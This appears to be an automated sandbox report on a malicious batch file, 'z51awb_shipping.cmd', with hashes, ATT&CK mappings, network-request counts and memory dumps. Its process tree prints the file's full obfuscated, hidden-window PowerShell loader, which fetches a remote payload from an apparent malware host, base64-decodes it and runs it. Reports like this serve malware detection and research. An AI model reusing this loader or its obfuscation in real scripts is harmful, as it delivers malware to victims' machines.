b616d190e295b74aaf39f7d742d3957411a0985f9372603307a4c0a6e865ecd0

Analysis

max time kernel
146s
max time network
148s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
26-11-2024 20:05

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

z51awb_shipping.cmd
Size

6KB
MD5

47ed689a5e67f8eadfbdf8eee3fecb84
SHA1

57101b7187597c2db41509b98895eafa4c7116eb
SHA256

b616d190e295b74aaf39f7d742d3957411a0985f9372603307a4c0a6e865ecd0
SHA512

5d92c1444345c9114932f90d80d2e83bf1612ac6f79b66ce6d51b8c7b2a7f400e68302c6fb194200e1675e97345eb163606478ae338a44bd36fa921136e6110c
SSDEEP

192:thIpQ550zJ2QmToiuhQ7HgCXK1qqJ36w3Av/l9s7nm/+pyBMfkhX:tmpQ5a8f8wa1i/lS7nnpN4

Score

8^/10

discovery execution

Malware Config

Signatures

Blocklisted process makes network request 43 IoCs

flow	pid	Process
5	2080	powershell.exe
6	2080	powershell.exe
7	2080	powershell.exe
8	2080	powershell.exe
9	2080	powershell.exe
10	2080	powershell.exe
11	2080	powershell.exe
11	2080	powershell.exe
12	2080	powershell.exe
13	2080	powershell.exe
14	2080	powershell.exe
15	2080	powershell.exe
16	2080	powershell.exe
17	2080	powershell.exe
18	2080	powershell.exe
19	2080	powershell.exe
20	2080	powershell.exe
21	2080	powershell.exe
22	2080	powershell.exe
23	2080	powershell.exe
24	2080	powershell.exe
25	2080	powershell.exe
26	2080	powershell.exe
27	2080	powershell.exe
28	2080	powershell.exe
29	2080	powershell.exe
30	2080	powershell.exe
31	2080	powershell.exe
32	2080	powershell.exe
33	2080	powershell.exe
34	2080	powershell.exe
35	2080	powershell.exe
36	2080	powershell.exe
37	2080	powershell.exe
38	2080	powershell.exe
39	2080	powershell.exe
40	2080	powershell.exe
41	2080	powershell.exe
42	2080	powershell.exe
43	2080	powershell.exe
44	2080	powershell.exe
45	2080	powershell.exe
46	2080	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2080	powershell.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2204	cmd.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2080	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2080	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2204 wrote to memory of 2080	2204	cmd.exe	31
PID 2204 wrote to memory of 2080	2204	cmd.exe	31
PID 2204 wrote to memory of 2080	2204	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\z51awb_shipping.cmd"
1⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:2204
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden ";$Paleomagnetist='Tegneenhed';;$Bloodstroke='Zwieback';;$Kalligraferne136='Talesituationerne';;$Lystredes='ulrikes';;$Ozon='Tantum';;$Genopbygning=$host.Name;function Kilters($Yderpunkts){If ($Genopbygning) {$Bunchily=5} for ($Exemplar=$Bunchily;;$Exemplar+=6){if(!$Yderpunkts[$Exemplar]) { break }$Snorres+=$Yderpunkts[$Exemplar]}$Snorres}function Tttekammene($Appetitligst){ .($Levnedsmiddelstyrelsen) ($Appetitligst)}$Omskolingen=Kilters 'Eje.dNUnatiEInap.T Dand.SexkuWRepreE ChribSysteCUmbrilRammiiCrom eEnebrnove.gt';$Allergologernes=Kilters 'D.iftM GastoInfixz SkydiSlumrl Afsal Sknda Adis/';$Bygningsinspektrers=Kilters 'AlkylT P rllHy,ots Papa1Whiff2';$Subshrub='Fjo s[ SpisNWi keETorantSolsk.FeberSReferETetraR SenavFadlsiGrillcSygefe,omitp Rek ORelatIBradyNBootfTTend m isteAJdefonHemelAFibbrgAdvenEGudenRBetac]A oid:Axers:Gy sys.apooeNisk cAph,oUOutrar esomIMangeTHalvny pondP Bumbr OmkooO,kast UdbroDisgrCSyncoOPneumlRacem= Bk e$ meg,bMo eryNonsagDilemNFdevaITalennGifteg AlriSUngdoItoughnOr ntSAdvispRe erE IdrtkTempeTBi leRHyposEFe,gnR Ur sS';$Allergologernes+=Kilters 'Trd.m5 Whit. Neck0Favor Sc op( laaW CraziEkstrn lacadbobleofiskewPaadrsRrbla ElodeNFlyp TP ste Skvet1 ,nop0 delu. Krbl0Mesat;Coint aptWKommeiTot lnMantr6 Brai4Vidn ; andb EmborxTw ni6 onf4Myth ;Gerfu hamamrklbaavUdspa: Chap1Be ik3Fi.er1 C rr. W ld0Blegn)becaf NatioG Droge PeticKalvek illgo ,eli/Ombre2 .dsv0Unlim1Guill0Scene0B.bli1 Can 0Fodba1Un.oo FeltFSubpeiDoorwrBeha,eMast.f ,angoeyolfxSuper/Nulls1Mar h3 Forp1Udbyt.plack0';$Sprgere=Kilters ' arklUTranqs BabaeProblrUdrmn- Cin.AP eheG JusseOpsp NUnorit';$misemploy=Kilters 'Athy hHastet pre tUnpropBon.esPothu: Ggen/madni/Ingeri.onsen H.titHel reHensyrIrregc AmazoRestanVatt sObr,pu.eleflRea.rtFa dg.tilsacInddao oeti. Parlt lammzNeate/FrakosSkuestRotteeAfledpUdholcUnmumhKabeliKult lBil,mdHoloprt iveeunflanHarce. aadxAneposSplinn';$Noncohabitation=Kilters 'Tidsp>';$Levnedsmiddelstyrelsen=Kilters ' EddiiBrnehe Aposx';$Notidanian='Humective';$Herrerkkens='\Borgerliggrelsen.Bol';Tttekammene (Kilters ' ncon$TitiaGElit lHooveo In.rBAlarmaChresltakti:OpvarpK rkeUSevensBri,alHandeE UdryS KorrpGenneISka eLBo stL Kr feReprsT.ndis=Gemmo$Phon.esammen,enaevAnven: C lpAA.minPSupp pR empD ForkAClemet odleA Skra+Unde $Crucih,vnine BailR emirCiphee nhreRDokumkFors,KPraetES nsinSmaatS');Tttekammene (Kilters 'Fo re$Af rfGDisenLBohawoUrstrbOvereaJubillIng f:NonclM asteth oaN FordoCorroR AktirAntimhM nofONonioEGorvaAFolde=Vidtg$D skemConoii MiseSIndviEVolplM PrecPZo splDybvaOUnapoYVe,ne. r mmS oughpBilleLLem.uI quifTBrnds( hjer$TosomNMusikOUnderNIndk cUdp,lOFromah ImbrAIntraB BrugIEksamtCurblASprydTDdssyIVisitOMiocrnSplku)');Tttekammene (Kilters $Subshrub);$misemploy=$Menorrhoea[0];$Kvindehaderen=(Kilters 'Hambo$CostugLongeL,ffecOBytt.bI teraDatabl Meso:,utingFle sld mmeOMe icsRemensKugelAPyrit=BesmyNTeutoep anoWRo gh-,aatvoOrd uB InfrJ Rec,eCrosscCorncTWeigh Flaccskrabby ,uscsC opeTSig aEPaus MBelit.Denud$EquilObrattmOp,ivsArchikBestroOpsigL intrIBunchNmoonsGDemifESpil N');Tttekammene ($Kvindehaderen);Tttekammene (Kilters ' beke$ExplaGReckulPalaeoSnap s ljesE icoa L se.fasteHCbbiseLeveraHeterd E steSpolirArrh sdobbe[Ro.nt$Ib liS FuldpCalorrRibalgBee he amsvrUnloaeKa,rw]Enk,l=w rka$UnordAfaurdl LaenlZy adePersor VendgE ektoOver lEmundoKur cgSkrmdeRi,gtrAnnabnRokkee Hauns');$Enqueters=Kilters 'Fo pr$ umbeGDropslstampoFjerpsMelansSinksaGener.OprrsDBlazioumiskw U.lsnChi,pl BionoLangsaIngradFlavoFPhotoiKupeelVillee Frag( dise$ irksmSemisi.upersRegiseSlyngm nworp CelllApoleo Re,vyGeest,kr se$ Exp.HDeerfo Hyldu SlbessignieGardew.epperNatioiPrebogTribohMundstO ien)';$Housewright=$Puslespillet;Tttekammene (Kilters ' Simo$H oflg,oegeLSulfuOCitexB R,seAudsejL Solo:L nsmKStamfNLingeOShattppepsisHe eri PapiVBrown2Covet3 Fred1 ran=Inter(An ivtBloteeComm s doptTDoris- veryp loria OmryTMenneHPlotc Elekt$SamlsHU danoGingeuIn pes Br seSterlWhngebrSik,eISalvegShitthAtomiTpoace)');while (!$Knopsiv231) {Tttekammene (Kilters 'Smaar$bekvegs rivlNonlio ToppbSor eaCountl ,utt: .errLDoms o StuddAnt ndEtu siRe ieg Kak eR,ngosElektifarmaaMina,=Grfab$Ta ofKQuixoeun ermAnvispAtle t') ;Tttekammene $Enqueters;Tttekammene (Kilters 'Simuls.clertJubilaCequiR MotoTPunkt-ReeveSTra sLDoupfEG nmaeUdparPKat l latt4');Tttekammene (Kilters 'Lyngs$.rbejgSaalsL foruO,rikaBk,nooARdvinlPukeu:Brid,k ,endN UndeO BiblP lattSAntemI SaccVFlles2Elast3Trioe1E,dan=hugge( VandTBlnd ETilhysspektt lma- Battp,rbejaStridTWhizzHNo bl Bebu$ScienhTidseOFatalUBlameSHaw.beUncriWchylorKre tIFllesGTimetHr ablTBes.a)') ;Tttekammene (Kilters 'Ham e$srbehG Unp LHorsoOGuitaBAuto ATetral Mono:Indlss aegtPArmslI InfeRExe gTSubcuSUdgra=T,ekk$DiskvGIn eslPhoenOma kebAdganA s,uaL Offs: osta satuD ntinO SubcPUnattTAfsluI KrignBagsmGAnnel+P tri+ Bukk%Bahlm$DownsMAutonERave N dartO SterR Herbr CarbhK adrO .enteisomoAMunch.i cesc EpizOBardeuBilslNhovedT') ;$misemploy=$Menorrhoea[$Spirts]}$Radiologi=282520;$Elevatorfrerens=31488;Tttekammene (Kilters ' Frst$unbe,GAnoraldia mo DrmmBElatrA H peLNo,as:PerisR GuldBAssocaTorp,R IndaESuverSKapreT KrageBasa,sSkyde5 H li4Uddan Nstst=Azury LocutGarrowE HrfaTulvin-,kaldc ivreOBellyN AnlgtVin.yeFa cinSupe,t Unhy Mhoss$Sacr hImpigo AntiUScottSBe.rteSignawWirdkR Lu,hIMartrGPostrHEnkest');Tttekammene (Kilters 'Parim$ CaptgSimullHypocopenpobBa lfa Mat,l Frug: BivoPRe fraChic.rRecontStonee Briod Strenun areBilggs Mis,sMi,ce Sexfi=resol Helsi[ SpinSUnderyErindsBra dtMallaeLystem owbo.I.divCMacrooFugemnVowelvS orte InderTentmtVit e]unap :Over :UnentFMundsrArsmeoJardpmForsmBDi graIn,ics DiskeOrtho6 Lo k4NonseSco swt Gyttr WhiliPanorn Untrgsmaa,( Delt$TakkeRKindlb Si,eaOverwr stefeHeartsCardit TuikeMultisEmiss5Socia4Dress)');Tttekammene (Kilters 'Mo.or$HeypegPersoLFensmOFloatbWasteAMonoclBista:SkejshDiderJScup,ERos.wSAn elTSmrehEfestkr pinsefemogTLandb B.nhi=Ame t Skill[Hyb.aSPostpY,rthoSSlagttEpi leRivnimForbo.TersetCh toeO tswXBlacktSmrre.EfterEkakofNHimmecElek oannitDBeforiPrestnGeni,gNibby]Int r:Diahe:Berida SelvsFremaCS.ikkI EleciFoxt .Kejs G H reERekomtForlysarrepTTownyrunderi,lutbnstorfG,maad(Dueli$Kast,PburleACoinmRBismuTPaatrENeotrDSta.enFilm e O ubSMatemSHjrej)');Tttekammene (Kilters 'lrker$Bras,gdenatlIskreOVenirBope eAOmredLMimik:Sv jsb FrerUSpjt TKlimaCMon,chDecimE ,utsRDoggiEPolosr V ge=E wil$maundHBestejMyt iEskaveSNavngT OutrEhe dbrS gmee SavfTBlas .,orsesSikkeULbedaBS nkosFa.veTYillcrPip.riCirkuNRillegfurro( Sort$AutodR,eactAin,eld,ehftIHawvaOreparlFladeoClen,g AxenI lagi,Vejrs$,buttEBesviL ampEPr.jevCli.iARevoktCal,iO Gorbr Du.lf onocR ForleValidRRigsfe ChurnPlentsHolid)');Tttekammene $Butcherer;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2080

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2080-4-0x000007FEF532E000-0x000007FEF532F000-memory.dmp

Filesize
4KB

Download
memory/2080-6-0x0000000001E90000-0x0000000001E98000-memory.dmp

Filesize
32KB

Download
memory/2080-5-0x000000001B680000-0x000000001B962000-memory.dmp

Filesize
2.9MB

Download
memory/2080-7-0x000007FEF5070000-0x000007FEF5A0D000-memory.dmp

Filesize
9.6MB

Download
memory/2080-8-0x000007FEF5070000-0x000007FEF5A0D000-memory.dmp

Filesize
9.6MB

Download
memory/2080-9-0x000007FEF5070000-0x000007FEF5A0D000-memory.dmp

Filesize
9.6MB

Download
memory/2080-10-0x000007FEF5070000-0x000007FEF5A0D000-memory.dmp

Filesize
9.6MB

Download
memory/2080-11-0x000007FEF532E000-0x000007FEF532F000-memory.dmp

Filesize
4KB

Download